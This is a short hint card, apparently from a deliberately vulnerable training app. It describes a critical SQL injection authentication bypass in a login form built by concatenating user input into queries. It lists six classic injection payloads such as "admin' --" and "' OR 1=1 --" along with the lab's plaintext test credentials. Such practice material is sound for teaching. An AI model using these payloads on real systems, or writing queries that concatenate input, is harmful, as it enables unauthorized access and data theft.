🎯 Vulnerability Info
Type: SQL Injection (Authentication Bypass)
Severity: Critical
💡 How to Exploit
- User input is directly concatenated into SQL
- No prepared statements or parameterized queries
- Try injecting SQL syntax in the username field
🧪 Sample Payloads
admin' --
admin' OR '1'='1' --
' OR 1=1 --
' OR '1'='1' /*
admin'/*
' UNION SELECT 1,2,3,4,5,6 --
📚 Valid Credentials
- admin / admin123
- user / user123